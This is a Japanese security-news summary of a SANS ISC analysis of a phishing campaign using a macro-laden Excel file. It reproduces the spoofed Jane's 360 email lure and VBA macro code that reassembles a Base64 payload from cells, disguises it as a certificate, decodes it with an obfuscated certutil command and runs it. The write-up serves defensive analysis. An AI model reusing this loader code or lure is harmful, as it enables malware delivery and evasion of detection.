2018-02-03: セキュリティニュースまとめ: 悪意のあるマクロを含む Excel シートによる単純だが効果的な攻撃方法
悪意のあるマクロを含む Excel シートによる単純だが効果的な攻撃方法
元記事 SANS ISC InfoSec Forums
- Simple but Effective Malicious XLS Sheet - SANS Internet Storm Center
- 元原稿著者: Xavier Mertens (@xme) 氏
概要
- あるフィッシング攻撃に利用されていたマクロ入り Excel ファイルが単純だが非常に効果的な方法を採用していたので紹介
- 検体は HIS Markit が運営する Jane's 360 サイトからであることを偽装したメール
フィッシングメールの文面
Greetings!
Attached you can find Upcoming Defense, Military and Intelligence event calendar.
Note: If you have trouble viewing the document you can try to enable content to resolve the issue.
Regards,
Jane's 360 By IHS Markit
IHS Global Limited: Registered in England under company number 00788737. Registered office: The Capitol Building, Oldbury, Bracknell, Berkshire, RG12 8FZ, UK.This email message, including accompanying communications and attachments, is strictly confidential, for the sole use of the intended recipient(s) and may contain privileged information. Any unauthorized use, review, disclosure or distribution is prohibited. If you are not the intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message. Thank you.
Please consider the environment before printing this e-mail.
添付ファイル名
- Upcoming Events February 2018.xls
- SHA1: b06930c9809ab5e4cb6659089ac6fcec470c9c16 (VirusTotal では検出なし)
以下の YARA ルールに抵触する
埋め込まれている VBA マクロについて
- Microsoft Windows 組み込みのツールを使って攻撃している
- Excel ファイルの悪意のあるペイロードは、複数のセルに Base64 でエンコードされて格納されている
- 関数でこれらのセルの内容を読み込み、つなぎ合わせることで特定の文字列を生成する仕組み
Function GetVal(sr As Long, er As Long, c As Long) Dim x For i = sr To er x = x + Cells(i, c) Next GetVal = x End Function … p = GetVal(2227, 2248, 170)
- エンコードされている文字列の先頭が「TV(oA|pB|pQ|qA|qQ|ro)」ならそのファイルは Windows PE ファイル
- 生成された文字列をデコードするのに PowerShell か VB を使っても良いが、同じ用途で certutil.exe が使える
- このケースでは偽の証明書ファイルが生成され certutil.exe に渡される
- 以下は整形してある
Sub cutil(code As String) Dim x As String x = "-----BEG" & "IN CER" & "TIFI" & "CATE-----" x = x + vbNewLine x = x + code x = x + vbNewLine x = x + "-----E" & "ND CERTIF" & "ICATE-----" Dim path As String Dim expath As String Set scr = CreateObject("Scr" & "ipting.FileSy" & "stemObject") path = "C:\Programdata\" & GetRand & ".txt" expath = "C:\Programdata\" & GetRand & ".exe" Set scr = CreateObject("Scr" & "ipting.FileSy" & "stemOb" & "ject") Set file = scr.CreateTextFile(path, True) file.Write x file.Close Shell (Chr(99) & Chr(101) & Chr(114) & Chr(116) & Chr(117) & Chr(116) & Chr(105) & Chr(108) & Chr(32) & _ Chr(45) & Chr(100) & Chr(101) & Chr(99) & Chr(111) & Chr(100) & Chr(101) & Chr(32) & path & " " & expath) // Decoded command: // certutil -decode C:\Programdata\<random>.txt C:\Programdata\<random>.exe Sleep 2000 // Let’s launch our payload! Shell (expath) End Sub
Windows PE ファイル
- SHA256: ff808d0a12676bfac88fd26f955154f8884f2bb7c534b9936510fd6296c543e8
- VirusTotal では検出なし
まとめ
- マルウェアの拡散に悪意のあるコンテンツを HTTP 経由でダウンロードせずに済むので検出を回避しやすい
参考リンク
- Microsoft BITS (Background Intelligent Transfer Service) ツールを利用する活動の調査 (https://isc.sans.edu/forums/diary/Investigating+Microsoft+BITS+Activity/23281/)
- certutil.exe について